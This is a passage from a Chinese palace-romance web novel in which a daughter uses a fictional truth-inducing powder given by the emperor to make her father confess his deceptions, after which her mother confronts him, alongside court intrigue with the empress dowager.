姜玄道:“可我曾两次听到你睡梦里喊着我,似乎很难受,一直喊着‘皇上不要……’。” 薛嘉言亦有些疑惑,她道:“我也不知道怎么了,做过几次同样的梦,梦里是你掐着我的脖子,我喘不过气,但心里又很难受,觉得对不起你。” 薛嘉言觉得这个真的只是梦,毕竟梦中那场景,前世并没有经历过。 姜玄道:“或许是因为我之前没有跟你表明心意,让你误会了,才会做这样的梦,你看,你到今天才知道自己不是什么劳什子替身。” 薛嘉言也觉得有道理,便笑道:“那往后我再梦到你,一定都是美梦了。” 两人又亲昵了一会,姜玄揽着她,互相想起一件事,沉吟片刻道:“朕手上有一种特别的药。少量服用,有催情助兴之效;但若过量,则会令人神智恍惚,吐露心底最深藏的秘密。此药名为‘引梦散’。” 他低头看她:“你若想让你父亲吐露当年真相,让你母亲知道,或许可用此药。你若愿意,朕便让人悄悄送来。” 薛嘉言闻言,从他怀中抬起头,眼中闪过一丝惊异:“世间竟有这般奇药?只是……如何把握‘过量’的分量?若是不慎……” “你不必担心。”姜玄安抚道,“朕会让人送来恰好足够的分量,你只需一次下完,便能保证他吐露真言。只是……”他顿了顿,“此事毕竟涉及至亲,且手段不算光明正大。朕怕你心中会有负担。” 薛嘉言沉默了片刻。她自幼读的是圣贤书,学的也是忠孝节义。可想起母亲可能被蒙蔽半生的悲苦,想起父亲可能的自私与背叛,那点基于“孝道”的迟疑,便显得苍白无力。 她轻轻摇了摇头,眼神逐渐坚定:“无妨。我与母亲感情更深,也更心疼她的付出。若父亲真负了她,我身为人女,总要为她讨个明白。只要这药对身体无大害,用了又何妨?总比让母亲一辈子活在谎言里强。” 姜玄见她心意已决,便不再劝阻,只详细告知:“药效过后,会有一日头痛乏力,其余并无大碍,也不会留下病根。” 薛嘉言点头:“那便请皇上安排吧。”她相信姜玄做事必有分寸。 此事议定,姜玄脸上却罕见地浮现出一丝赧然,欲言又止。薛嘉言察觉他神色有异,柔声问:“怎么了?还有什么事?” 姜玄轻咳一声,略有些不好意思地开口:“言言,朕……能否跟你借些银钱?” “啊?”薛嘉言一愣,随即失笑,“当然可以!只是……您怎么会缺钱?”她是真不明白,富有四海的一国之君,私库里难道还会短了银子? 姜玄叹了口气,神色转为严肃:“此事说来话长,眼下……还不能与你细说。”他见她眼中并无不悦,只有关切,心头微暖,解释道,“并非不信任你,而是此事牵连甚广,你知道得越少,反而越安全。朕在做一件要紧事,需从私库走账,近来花费超出了预期,所以才想先跟你周转一些。日后,朕必加倍奉还。” 薛嘉言听了,不由嗔怪地看了他一眼:“皇上这话说的,岂不见外?本就全是您的钱,您全拿去用便是,何谈‘借’与‘还’?” 姜玄心中感动,却还是摇头:“不用那么多。你从铺子里支五万两现银即可。名义上说是要去江南订购一批上等丝绸或粮食,做个幌子。届时,朕自会安排可靠之人与你接洽,将银钱取走。” 薛嘉言见他安排得如此周密,心知此事非同小可,便不再多问,只郑重应下:“好,我回去便安排,尽快将银两备好。” 第169章 委屈与清冷 夜凉如水,月华如练,静静铺在长乐宫殿宇森严的飞檐上。殿内只燃了一盏宫灯,光线幽暗,太后已这般端坐在太师椅中许久,面色阴沉如水。 白日行宫花园里那一幕,以及姜玄可能的目光,反复在她脑海中闪现、回放。 他到底看到了多少?隔着花木与假山的距离,他应该能看清她与姜昀贴近的身影,甚至那些不堪的纠缠。但那些低声的、夹杂着血腥气的对话,他应当听不真切。 可即便如此,仅仅是“看见”,便已足够惊心动魄。姜玄会如何想?他会信她只是被迫,还是会认定她与姜昀早有私情? 太后心烦意乱地闭了闭眼。事情的发展,早已超出了她最初的预料。 她本想借五王回京,给日渐难以掌控的姜玄一点无形的压力与警醒,让他明白自己这个“母后”并非全然孤立无援,尚有先帝其他子嗣可以“倚仗”。可谁曾想,姜昀竟似真的嗅到了当年隐秘的气息。 “来人。”太后倏然睁开眼,声音在空旷的殿内显得格外清晰冰冷,“去长宜宫禀告皇上,就说哀家有事需与他商议。” 她顿了顿,深知自紫宸殿那夜不欢而散后,姜玄对她避之唯恐不及,未必肯来。略一沉吟,她提笔在素笺上飞快写下几行字,待墨迹干了,将纸条折好,交给沁芳:“将这个,一并交给皇上。务必亲手交到他手中。” 长宜宫,烛火通明。 姜玄早已听完了敖策关于行宫今日种种的详尽回禀。他神色平静,并无太多讶异。对于姜昀与太后之间那些若有若无的牵扯与暗涌,早在几年前,他便察觉了。毕竟那时候他与太后关系亲密,几乎每日都要见面,比旁人更早一步察觉到也在情理之中。 正思忖间,张鸿宝躬着身子进来,禀报道:“皇上,长乐宫来人,说太后娘娘有事与您相商,想请皇上过去一叙。”说着,双手奉上一张折叠整齐的素笺,“太后娘娘还让带了这张纸条给皇上。” 姜玄接过纸条,展开扫了一眼。看完纸条,他面上依旧没什么表情,只随手将纸条凑近烛火。火苗舔舐着纸角,迅速蔓延,化为灰烬,飘落在地。 张鸿宝见状,忙上前一步,用脚将那点残存的火星踩灭。刚抬起脚,却听头顶传来皇帝听不出喜怒的声音: “张鸿宝。” “老奴在。”张鸿宝心头一凛,忙垂手应道。 “是你跟她说,她与朕的心上人长得像的?”姜玄语气平淡。 张鸿宝一愣,随即心中不由生出几分自得。他以为皇帝是要论功行赏,忙堆起笑脸,邀功似的回道:“皇上息怒,老奴也是瞧着皇上那阵子为国事操劳,甚是辛苦。无意中瞧见皇上珍藏的那幅枫林美人图,便想着若能寻个相似的佳人,也好给皇上解解闷,排遣些烦忧。谁知……嘿嘿,真是天定的缘分!奴才恰好搬到元宝胡同那处宅子,正好就撞见了薛主子!您说,这不就是老天爷送到您跟前的人儿吗?” 他越说越觉得是自己立了大功,语气也轻快起来。 然而,预想中的嘉奖并未到来。姜玄只是冷冷地“哼”了一声。 “谁准你胡言乱语的?”姜玄的声音陡然转寒,“掌嘴二十,罚俸半年。滚出去领罚。” “啊?!”张鸿宝脸上的笑容瞬间僵住,眼睛瞪得溜圆,几乎不敢相信自己的耳朵。他不是促成了一桩美事吗?皇上怎么反倒罚他? “怎么?还要朕说第二遍?”姜玄已站起身,不再看他,只唤道,“陆怀,陪朕去长乐宫。” “老奴领旨。”张鸿宝如梦初醒,浑身冷汗涔涔,慌忙跪倒在地,声音都带了哭腔。 姜玄带着陆怀大步走出殿外,明黄色的衣角消失在门廊拐角。身后殿内,很快响起“啪啪”的清脆巴掌声,一声接着一声,在寂静的夜里格外清晰。 张鸿宝跪在冰冷的地上,一边沮丧地、用力地抽打着自己的脸颊,一边心中哀叹皇上真是不讲情面,明明自己是顺着帝心来的,到头来还要挨罚。 姜玄踏着清冷的月色步入长乐宫。这座宫殿于他而言,熟悉又陌生。十四岁那年,他终于被放出那囚禁了他整个童年的冷宫,第一夜,便是在这长乐宫的偏殿度过的。彼时殿宇轩昂,灯火辉煌,却只衬得他更加孤零惶惑。如今故地重临,心境已迥然不同。 太后在书房等他。只点了一盏宫灯,光线昏黄。见姜玄进来,太后在晦暗的光影里,眼睛一眨不眨地凝望着他。 姜玄行至殿中,身形微躬,依着君臣与母子的礼数,声音平淡无波:“儿臣给母后请安。” 太后似被他的声音惊醒,微微回神,抬手虚扶一下,低声道:“坐吧。” 姜玄直起身,目光在室内一扫,径直走向离太后最远的那张圈椅,撩袍坐下。动作自然,却带着不言而喻的疏离。 沁芳带着宫人悄无声息地奉上茶水,又迅速退了出去,轻轻合拢了房门。 屋内只剩两人,宫灯的光晕在中间划出一道无形的界限,空气仿佛都凝滞了。太后望着姜玄刻意疏远的模样,心头积压的郁气陡然翻涌,忍不住开口讥讽:“坐那么远做什么?还真怕哀家吃了你不成?” 姜玄沉默着,目光落在自己膝前的暗影里,半晌,才吐出几个字:“母后多虑了。” 这油盐不进的态度让太后胸中郁气更盛。她深吸一口气,终是不甘问道:“我若不说,与遗诏有关,你今晚,怕是不会踏足长乐宫半步吧?” 第170章 两件事 姜玄这才抬眸看向她,眉头微蹙:“母后请说事吧。” “有时候,我真怀疑,”太后没有立刻回答,反而幽幽一叹,“你究竟是个人,还是尊冰雕。哀家……我这么多年的照拂与扶持,难道竟捂不热你半分心肠吗?” 姜玄却仿佛未闻话中的波澜,只淡淡道:“母后若无要事,儿臣告退了。”说着,竟真的作势欲起。 “你!”太后气得胸口剧烈起伏,她定定看了他好一会儿,才强压下怒火,转入正题,声音压得极低,“姜昀……他似乎知道了当年的事。今日在行宫,他跟我提起了赵茂才。” 姜玄重新坐稳,神色未变:“赵茂才已死多年,当年之事并无破绽。他多半是虚张声势,诳您罢了。” 太后却摇了摇头,语气肯定:“不,我觉得不像。他当时的神态语气,太过笃定,不似作伪。他手里恐怕真握有什么我们不知道的实证。”她顿了顿,抬眼看向姜玄,目光锐利,“你查一查吧。反正陈闵如今半死不活,锦衣卫指挥使一职名存实亡。如今锦衣卫是苗菁说了算,他是你的人,查这些陈年秘辛,他最在行。” 姜玄不动声色地“嗯”了一声,算是应下:“多谢母后提点。儿臣回去后,便让苗菁暗中去查。” 太后见他应得干脆,心头稍安,却又忍不住追问:“若真查实,姜昀手里确有证据,你……打算怎么做?” 姜玄抬眸,目光平静地回视她:“太后希望朕怎么做?” 太后被他反问,噎了一下,随即道:“自然是皇上想怎么做,就怎么做。这等干系社稷根本之事,哀家岂能置喙。” “是吗?”姜玄声音依旧平淡无波,“若朕查实后,杀了他呢?太后……舍得吗?” “哐当!”太后手中的茶盏重重顿在桌上,茶水溅出几滴。她呼吸陡然急促,盯着姜玄,几乎是从牙缝里挤出声音:“哀家有什么舍不得?一个胆大包天、屡次冒犯天威的登徒子,哀家恨不得他现在就死!” “既如此,朕先查了再说。”姜玄站起身,准备告辞。 就在他转身欲行之际,太后幽幽的声音再次从身后传来,带着一种难以言喻的苍凉: “姜玄……四年前,哀家选了你。四年后的今天,哀家……再一次选了你。” 她停顿了许久,久到屋里的更漏都仿佛凝滞。 “你……不会让哀家失望吧?” 姜玄背对着她,身形在灯影里挺直如松。他没有立刻回答,只是微微侧首,露出半边轮廓分明的侧脸。 “太后永远是天下女子之尊。”他的声音不高,却字字清晰,飘在寂静的空气里,“朕不知道,还能给太后什么。” “你——!”太后被这句话气结语塞。 而姜玄已不再停留,躬身一礼后,转身,步履沉稳地走出了书房。 书房内只剩孤灯一盏,太后独自坐在案后,身影被光晕裹着,形单影只。 姜玄回到长宜宫,并未立刻歇息。他独坐灯下,眸光沉静,片刻后,他唤来陆怀:“让苗菁即刻来见朕。” 两刻钟后,苗菁来了。 “有两件事要你去办。”姜玄开门见山,“第一件,将‘引梦散’送到她手上,剂量需是能令人吐尽真言的分量,务必一次足量。” 苗菁眼神微动,却不多问,只低应一声:“是。” “第二件,”姜玄顿了顿又道,“康王姜昀,似乎握有当年……遗诏相关的某些证据。你去查,仔仔细细地查。若真有,不计代价,拿到手里。” “臣明白。”苗菁心头一紧,知道这事事关重大,“臣会亲自去办。” 姜玄微微颔首:“去吧。谨慎行事。” 苗菁如来时一般,悄无声息地消失在殿外夜色中。 第二日一早,薛嘉言便收到了一包药粉。 两日后,是薛千良五十岁生辰,一大早,薛嘉言带着棠姐儿还有礼物回了娘家。 薛千良并不在家,薛嘉言也习惯了,应该是国公府派人来接他回府庆贺寿辰了。 薛千良上午去,傍晚归,带回满车的贺礼,也带回些微酒意。 回到薛宅时,天色已近黄昏。薛千良满面红光,脚步微浮,见薛嘉言牵着棠姐儿迎在二门处,顿时笑得眼角的细纹都舒展开来,踉跄着上前就要抱外孙女:“棠姐儿,来,给外祖父抱抱!” 吕氏忙上前拦了一下,嗔怪道:“一身酒气,仔细熏着孩子。快进屋歇歇,醒醒酒。” “无妨无妨!”薛千良摆手,笑容憨实,“没喝多少,只是几杯推拒不得的应酬酒罢了。”他看向厅内已摆好的丰盛家宴,眼中暖意更盛,“这才是我真正想吃的生辰宴。一家子在一处,比什么山珍海味都强。” 一家四口围坐桌边,气氛温馨。薛嘉言示意司雨端上一个锦匣,从中取出一只白玉酒壶,壶身温润,雕着松鹤延年的图样。 “爹,这是女儿特意为您寻来的陈年梨花白,据说淳厚甘冽,最是难得。今日您寿辰,女儿给您斟酒,愿您福寿安康。”薛嘉言声音柔婉,亲自执壶。 吕氏看了那酒壶一眼,柔声劝道:“少喝些罢,你爹在那边已用过酒了。” 薛千良却大手一挥,满不在乎:“我姑娘给我斟酒,那是孝心!斟多少,爹喝多少!嘉嘉,放心倒,你爹酒量大着呢!” 薛嘉言心中微微一涩。二十多年来,父亲对她的疼爱纵容,点点滴滴,并非虚假。可那些深藏的欺骗与算计,同样真实得刺骨。她稳了稳心神,唇角含着一丝浅笑,为父亲斟了满满三杯。 薛千良来者不拒,一饮而尽,还咂咂嘴,赞不绝口:“好酒!果然是我姑娘最懂爹的心意!” 酒过三巡,菜添五味。薛千良醉意渐浓,眼皮发沉,说话也含糊起来。吕氏见状,忙命人扶他回正房内室歇息。又转头对薛嘉言道:“今日天色不早,你又有身子,不如就带着棠姐儿在娘家住一晚,明早咱们娘仨一同去城外观音庙上香,求菩萨保佑你这一胎平安顺遂。” 薛嘉言本就存了留下的心思,自然顺水推舟应下。 第171章 忏悔 薛家后宅正房内室,烛光柔和,弥散着淡淡酒气。 薛千良躺在榻上,呼吸粗重,不时发出几句模糊的呓语。吕氏坐在床边,拧了温热的帕子,替他擦拭额角颈间的薄汗,又倒了半杯温水,轻轻扶他半坐起来。 “老爷,喝点水,润润喉咙,会好受些。”她声音温软,如同对待稚子。 薛千良靠着迎枕半坐着,就着吕氏的手,迷迷糊糊喝了半杯。温热的水流似乎唤醒了他几分神智,又或许,是饮下多时的“引梦散”,开始撬动他紧锁多年的心防。 朦胧醉眼中,妻子的面容与二十多年前江南水乡那个娇俏明媚的少女重叠在一起。时光仿佛倒流,他还是那个乍见她便失神的“失忆”青年。 “阿竹妹妹……”他喃喃唤出那个久违的、只属于年少时的亲昵称呼,伸出手,指尖轻轻抚过吕氏已染风霜却依旧温婉的脸颊。 吕氏微微一怔,随即失笑,略带羞涩地拍开他的手:“都多大岁数了,还叫这个……让人听见像什么话。” 薛千良却恍若未闻,只痴痴地望着她,眼神迷离中透着一种近乎孩童的依赖与恐慌。忽然,他扁了扁嘴,竟显出一丝委屈的神色,手臂猛地收紧,将吕氏紧紧搂入怀中,声音带着哽咽: “阿竹……不要离开我……是我不对,我不该骗你……可我心悦你,真的心悦你,从第一眼见到你……你别走……” 吕氏被他搂得有些喘不过气,又好气又好笑,只当他是醉后胡言,轻拍他的背安抚:“醉糊涂了,快躺下歇着,我不走,我在这儿呢。” 然而,薛千良的呜咽声却愈发清晰,那些被“引梦散”催逼出的、沉淀了半生的秘密,混着酒意与悔恨,决堤般倾泻而出: “阿竹……我没有失忆……我骗了你,骗了岳父岳母……我在京城有夫人,有孩子……我是个卑鄙小人……我该死……” 吕氏浑身猛然僵住,如遭雷击,血液仿佛瞬间冻成了冰。她难以置信挣开薛千良的怀抱,看着这个颤抖呜咽的男人,声音干涩得不像自己的:“你……你说什么?” 薛千良却似已完全沉浸在自己的痛苦与忏悔中,感觉不到眼前人的颤抖与崩溃,只自顾自地、断断续续地诉说着,那些被他精心掩埋了二十余年的真相: “是我忍不住……忍不住给家里去了信……我怕爹娘以为我死了……呜……要不是这封信,他们或许找不到江南来……咱们不回京城多好……你一定会比现在快活……是我自私……我想家,想离爹娘近些……我想尽一点为人子的心……是我……是我把你困在这京城笼子里的……阿竹,我对不起你……” 他语无伦次,颠三倒四,可每一句,都像一把淬了冰的钝刀,狠狠剐在吕氏心上。泪水无声地滚落,瞬间模糊了她的视线。 原来……原来那些初见时的羞怯腼腆,那些“失去记忆”的茫然无措,那些信誓旦旦“唯你一人”的深情款款……从头到尾,都是一场精心编织的骗局。 她所以为的救赎与良缘,她倾尽家财、背离故土所奔赴的“真情”,她二十多年相濡以沫的“夫君”……竟是这样一个,从一开始就怀揣着满腹算计、用谎言构筑起她整个人生的陌生人。 吕氏僵硬地坐在床边,任由薛千良抱着她痛哭流涕,诉说着他的愧疚与“不得已”。 二十多年,弹指一瞬,却又恍如隔世。如今已年过四十,骤然得知这血淋淋的真相,于吕氏而言,不啻于将她过往全部的人生连根拔起,再狠狠摔碎。 方才那片刻的僵直过后,是锥心刺骨的剧痛,从心口炸开,瞬间蔓延至四肢百骸。她猛地捂住胸口,喉间发出一声压抑的、破碎的抽息,整个人都佝偻了下去。 “你……”她的声音嘶哑得不成样子,每一个字都像是从砂纸上磨过,“你还不如不说……还不如……骗我一辈子!” 这声音里没有歇斯底里的怒吼,只有一种被彻底抽空力气的绝望。 东厢房的门帘后,薛嘉言早已泪流满面,死死咬着下唇才没让自己呜咽出声。听到母亲那句“还不如骗我一辈子”,她浑身一震,心中翻江倒海,第一次对自己的决定产生了强烈的动摇与恐慌——她是不是错了?她自以为是的“真相”,对母亲而言,是不是比谎言更残忍? 然而,床榻上,药力与酒意双重作用下的薛千良,却已完全失控。他仿佛听不到吕氏的悲鸣,也感受不到那濒临破碎的氛围,只沉浸在自己无尽的忏悔与恐惧中,又抛出一枚更残酷的惊雷。 “阿竹……我是个坏东西……我不仅骗了你,我还……我还犯了错……”他呜咽着,涕泪横流,像个做错事的孩子般惶惑不安,“我……我无意中毁了一个女子的清白……她有了我的骨肉……我没办法,只能把她养在外面……阿竹,你原谅我,我不是有意的,我也不知道自己怎么了,就那一次……就那一次啊!她就有了孩子……呜呜……” 他胡乱抹着眼泪,声音越发凄惶:“那孩子……那孩子长得和我一模一样……我实在狠不下心……我只能养着他们母子……阿竹,我对不起你……我最对不起的就是你……” 第172章 清醒 听到吕氏本就如同被剜心剔骨,痛得几乎无法呼吸,此刻这番话,更是如同将滚烫的烙铁狠狠按在了她鲜血淋漓的伤口上!欺骗身世,已是锥心之痛;养外室,有私生子……这简直是将她二十多年的隐忍、付出、牺牲,彻底碾成了粉末。 原来,她所以为的夫妻情深,不过是她一厢情愿的幻梦。他不仅用谎言编织了一个虚假的过去,更在现实里,早就筑起了另一个家,有了另一个血脉相连的孩子!而她,竟像个彻头彻尾的傻子,被蒙在鼓里,为他操持家务,为他生儿育女,为他忍受这京城的孤寂与白眼! “嗬……”吕氏猛地倒抽一口冷气,眼前一阵阵发黑,天旋地转,几乎站立不住。强烈的恶心感涌上喉头,又被她死死压住。二十多年的光阴,二十多年的情意,在这一刻,悉数化作了最尖锐的讽刺和最刺骨的寒冰。 她看着床上那个痛哭流涕、蜷缩成一团的男人,那曾让她心生怜惜的醉态,此刻只让她觉得无比陌生,无比……肮脏。 下一刻,吕氏不知从何处生出一股力气,猛地推开薛千良紧紧抓着她衣袖的手,用力之大,让本就醉醺醺的薛千良猝不及防,整个人向后仰倒,“咚”一声闷响,后脑勺重重磕在了床头的硬木横杆上。 “啊!”薛千良痛呼一声,捂着脑袋,酒意似乎被撞散了些许,眼神更加混乱,却仍执着地朝吕氏伸出手,含混地哀求:“阿竹……别离开我……阿竹,好妹妹……” 吕氏却已迅速站直了身体,后退两步,仿佛要远离什么污秽之物。她抬手,用力掸了掸刚才被他触碰过的衣袖,动作里带着毫不掩饰的嫌恶与决绝。 恶心。 痛苦。 还有……一种迟来了二十多年的清醒。 她定定地看着床上那个捂着脑袋呻吟、依旧在喃喃呼唤“阿竹”的男人,心中最后一丝因多年夫妻而生出的不忍与心疼,终于彻底熄灭了。 取而代之的,是翻江倒海的悔恨与不甘。 如果没有他,没有这场欺骗的姻缘,她会怎样? 她会在江南,守着吕家的商行,那里有杏花烟雨,有吴侬软语,有四季不断的时鲜美食,有知心的手帕之交。她不必忍受京城冬日刺骨的寒风与漫天的风沙,不必忍受那些或明或暗的鄙夷与嘲笑,不必为了融入这格格不入的环境而勉强自己。 她会成为吕家商行真正说一不二的大东家,凭她的手腕与才智,未必不能将生意做得更大,纵横南北,结识四方豪杰,活得洒脱又自在。她的女儿,会是吕家未来的继承人,从小金尊玉贵,见识广博,何须低嫁戚家,受尽磋磨,险些葬送一生! 无数个“如果”在她脑海中奔涌冲撞,每一条可能的路,都远比她现在走的这条,要光明,要痛快,要有尊严得多! 心潮剧烈翻涌,血气上冲,吕氏呼吸急促,面色由白转红,又由红转青,身子微微摇晃,仿佛随时都会倒下。 “娘!”再也忍不住的薛嘉言从门帘后冲了出来,一把扶住摇摇欲坠的吕氏,紧紧抱住她,声音带着哭腔,“娘!您缓缓,别想了,别气坏了身子!不值得!不值得啊!” 她感受到母亲身体的颤抖与冰凉,心中悔恨交加,泪水汹涌,“您还有我,还有棠姐儿,我们都在,我们都陪着您!娘,您看看我……” 吕氏被女儿温暖的怀抱拥住,听着她急切的呼唤,混沌而剧痛的心神才勉强拉回了一丝清明。她缓缓低下头,看着女儿布满泪痕、写满担忧的脸。 是啊。 她还有女儿,还有外孙女。 这被谎言和背叛撕扯得支离破碎的后半生,至少,还留下了真正珍贵的骨血至亲。 吕氏闭上眼,深深吸了一口气,再睁开时,眼底那汹涌的悲愤与绝望,渐渐沉淀为一种冰冷的、坚硬的决心。她轻轻拍了拍薛嘉言的手背,声音依旧嘶哑,却已不再颤抖: “嘉嘉,娘没事。” 吕氏抬手,用指尖轻轻拭去眼角的泪痕,她看向满面泪痕的女儿,努力扯出一个微笑。 “当年若不是嫁给你爹,你娘也是在外奔走的商人,什么事遇不到呢,总不能因为这个就不活了。” 薛嘉言哽咽着道:“娘,对不起,是我……” 吕氏已经明白,女儿平日那么贴心,不会在父亲已经有些醉酒的情况下还给父亲斟了三杯酒,哄他喝下去,那酒里必定是掺杂了什么。 “傻孩子,”她声音依旧沙哑,却柔和了许多,“说什么对不起。那酒里是加了什么东西吧?娘不怪你,相反,娘要谢谢你。谢谢你没让娘……糊涂一辈子。” “娘……”薛嘉言哽咽着,将脸埋在母亲肩头,“不是娘糊涂,是爹……他藏得太深,太好了。连外祖父那样精明了一辈子的人,当年都没能看穿,您又怎么能识破呢?” 提及父亲,吕氏沉默了片刻。窗外夜色浓重,更深露重,仿佛也浸染了她的思绪。过了好一会儿,她才缓缓开口: “你外祖父啊……他是精明,可他早就想让我摆脱‘商户女’的身份。即便他当年察觉了什么蛛丝马迹,为了让我能摆脱这个身份,真正跻身‘官宦家眷’之列,他可能……也选择了默许,甚至乐见其成。” 薛嘉言眨了眨湿润的眼睛,仔细品味着母亲的话。 是啊,吕家虽富甲一方,可在士农工商的排序里,终究是末流。外祖父虽然疼爱母亲,但若有一个机会,能让母亲的身份彻底改变,子孙后代都能脱离商籍,他会不会……真的在权衡之下,做出了那样的选择? 第173章 真的只是意外? 这一夜,薛嘉言与母亲同榻而眠,母女俩并肩躺在黑暗里,说了一夜的话,直到东方天际泛起鱼肚白,屋内的低语声才渐渐停歇。 第二日,薛嘉言与吕氏起身后洗漱更衣,虽眼下都带着淡淡青影,神色间却已不见昨夜的崩溃与彷徨。母女俩带着懵懂的棠姐儿,在花厅用了些膳食,便登车前往城外的观音庙。 一路上,棠姐儿好奇地掀开车帘看沿途风景,童言稚语偶尔驱散车厢内凝重的气氛。吕氏握着薛嘉言的手,指尖微微用力,似在汲取力量,也似在传递决心,薛嘉言回握着母亲。 上香毕,又在庙中用了斋饭,略作休憩,直至黄昏时分,方才返程。马车辘辘驶进薛宅,薛嘉言看着母亲沉静的侧脸,心中不舍,低声道:“娘,我陪您回去吧。” 吕氏转过头,对她温和地笑了笑,抬手轻轻拍了拍她的手背,那掌心已不再冰凉,带着令人安心的暖意:“回去吧,嘉嘉。别担心娘,娘能处理好。” “娘,”薛嘉言仍是放心不下,“您真的……想好了吗?若您需要,我留下来,或者……” 吕氏摇了摇头,打断她的话:“想好了。我的嘉嘉都能这般果决,为娘探明真相,娘难道还能退缩不成?你都不怕,娘还怕什么呢?” 薛嘉言不再坚持,只用力握了握母亲的手:“那……若有任何事,立刻让人来告诉我。” “嗯,放心。”吕氏点头,松开手,扶着丫鬟的手稳步下了马车。她没有回头,径直走向薛宅大门,背影在夕阳余晖中挺得笔直,竟有种许久未见的、属于江南吕大东家的利落与气势。 吕氏回到家中,并未立刻去见薛千良。她先回了自己日常起居的东厢房,不疾不徐地换了身家常的藕荷色细布褙子,头发重新抿得一丝不乱,又用冷帕子敷了敷微肿的眼眶。待镜中人看起来与往日并无二致,她才缓步走向正房内室。 室内药味尚未散尽。薛千良果然还躺在床上,额上敷着帕子,面色憔悴,眉头紧锁,正发出断断续续的呻吟。听见脚步声,他费力地掀开眼皮,见是吕氏,眼中立刻流露出惯常的依赖与委屈,声音也是有气无力: “夫人……你可算回来了……你去哪儿了?我这头疼得要死了……刚才请了大夫来看,开了药,喝下去也不见好……哎哟……” 他絮絮叨叨地诉着苦,期盼着像以往无数次那样,得到妻子温柔耐心的抚慰和照料。 吕氏停在离床榻几步远的地方,静静地看着他。 “哦,是吗?”她开口,声音平平,听不出情绪,“也没疼死啊?” 薛千良正哼哼唧唧,闻言猛地一顿,呻吟声戛然而止。他有些诧异地转过头,看向站在光影交界处的妻子。吕氏面上没什么表情,只是那么淡淡地看着他,眼神里既无往日的关切,也无恼怒,空茫茫的,像在看一个陌生人。 他愣了片刻,随即扯出一个有些虚弱的笑容,试图将这突如其来的怪异气氛归于玩笑:“夫人……真是越来越会说笑了。我头疼得要命,你倒还打趣我……” 他边说,边习惯性地朝吕氏伸出手,想像往常一样拉住她的衣袖撒娇。 吕氏却在他指尖即将触碰到衣料的瞬间,向侧后方退了半步。薛千良的手捞了个空,僵在半空,脸上的笑容也一点点褪去。 薛千良被她这突如其来的冰冷态度弄得不知所措,勉强挤出笑容,试探着问:“夫人,你……你这是怎么了?可是我昨日醉酒,说了什么胡话惹你生气了?” 吕氏依旧站在原地,目光平静地落在他脸上,反问:“你觉得,我这是怎么了?” 薛千良心头猛然一跳,一股不祥的预感如同藤蔓,瞬间缠绕上来。他强自镇定,脸上堆起更深的讨好与懊悔:“一定是我昨日贪杯,吃多了酒,又醉得不成样子,累得夫人照顾我一夜,是我不对,都是我的错!我往后……往后一定节制,再也不吃那么多酒了,夫人别气坏了身子……” “风筝胡同。”吕氏打断他喋喋不休的辩解与保证,只吐出四个字。 轻飘飘的四个字,却像一道惊雷,猝然劈在薛千良头顶! 他脸上的血色“唰”地一下褪得干干净净,嘴唇翕动了几下,却发不出任何声音,只是难以置信看着吕氏。 看着他这副如遭雷击的模样,吕氏甚至轻轻笑了一下,那笑意却未达眼底,只浮在表面,冰冷一片。她语气依旧平静,仿佛在谈论今日的天气:“好歹也是给你生了个儿子。总该给人家一个正经名分吧。这样不明不白地养在外头,算什么呢?” “夫人!”薛千良像是终于找回了自己的声音,发出一声变了调的嘶喊。他猛地从床上扑下来,鞋也顾不上穿,踉跄着扑到吕氏脚边,死死抱住她的双腿,仰起头,脸上混杂着恐惧、哀求与急切的辩解,“夫人!你听我解释!那……那一切都是意外!真的只是意外!我也不知道怎么就……就那一次……她怎么就怀上了!夫人,孩子是无辜的,我……我只是不忍心……” “是吗?”吕氏居高临下地看着他,声音听不出喜怒,“所以这些年,你每月雷打不动地去风筝胡同,都只是坐坐、喝喝茶,看看孩子,再没有同她欢好过?” 第174章 只会逃避 薛千良的辩解声戛然而止,像是被一只无形的手扼住了喉咙。他抱着吕氏腿的手臂微微发抖,嘴唇哆嗦着,良久,才从喉咙深处挤出一丝破碎而嘶哑的声音:“除了你……我只有她一个女人……夫人,我……我总也是个男人……” “男人?”吕氏终于笑了起来,那笑容里满是毫不掩饰的讥讽与悲凉,“薛千良,你若从一开始,便明明白白告诉我,你要的是三妻四妾、齐人之福,我吕玉竹虽是商户出身,却也懂得什么叫‘本分’,自然会安安分分替你做好这个大管家,打理好你薛家的庶务,绝不会痴心妄想什么‘一生一世一双人’!” 她的声音渐渐拔高,压抑了整夜的怒火与屈辱,终于找到了突破口: “可你是怎么说的?你说你心中只有我,这辈子都只会有我一人!你说你不在乎我是商贾之女,只庆幸能与我相守!薛千良,做不到的事情,为何要轻易承诺?我吕家虽是商户,可自小父母便教我,‘人无信则不立’!你堂堂国公府出身的公子,饱读诗书,难道连这个道理都不懂吗?” 每一个字,都像鞭子一样,狠狠抽在薛千良脸上。他脸色由白转红,又由红转青,羞愧、难堪、恐惧交织在一起,让他无地自容,只能喃喃重复:“夫人……是我错了……是我鬼迷心窍……可……可她只是个无依无靠的弱女子,带着个孩子,我……我总不能眼睁睁看着他们母子饿死街头啊……” “弱女子?无依无靠?”吕氏冷笑,“那孩子已经八岁了吧?九年!整整九年时间,你除了每月送银子过去,让她继续没名没分地跟着你,还没有想到一个妥善的处理办法?” 她向前一步,逼视着跪在地上的男人,目光锐利如刀: “薛千良,你这辈子,除了逃避,还会什么?你不喜欢高氏的刻板唠叨,大可以堂堂正正提出和离,哪怕被千夫所指,也好过临阵脱逃!你不想上战场,不愿继承祖业,大可以跪在老国公爷面前,明明白白告诉他,你就是个扶不起的阿斗,你就是不行!可你敢吗?你不敢!” “你在京城早有妻室,又想与我在一起,你大可以一开始就跟我坦白,告诉我实情,让我来选择要不要你!可你呢?你编造一个失忆的谎言,骗了我,骗了我爹,骗了所有人!因为你不敢承担说实话的后果,你只想用最省力的方式,得到你想要的一切!” 薛千良浑身剧烈地颤抖起来,脸色惨白如纸,嘴唇哆嗦得不成样子,看向吕氏的眼神充满了震惊。他不敢相信,这些他藏在心底最深处、连自己都不愿细想的龌龊心思,竟然被妻子知道,又如此直白、残酷地一字一句地剖开。 吕氏看着他这副失魂落魄的模样,回想这二十多年来的点点滴滴,眼眶终究还是红了,泪水模糊了视线,却倔强地不肯落下。 “薛千良,你五十岁的人了。”她的声音带上了哽咽,却依旧字字清晰,“你这一生,都在逃避。遇到事情,总觉得躲过去了,拖过去了,时间长了,或许就没人记得,或许就自然解决了。你真是个彻头彻尾的懦夫!” 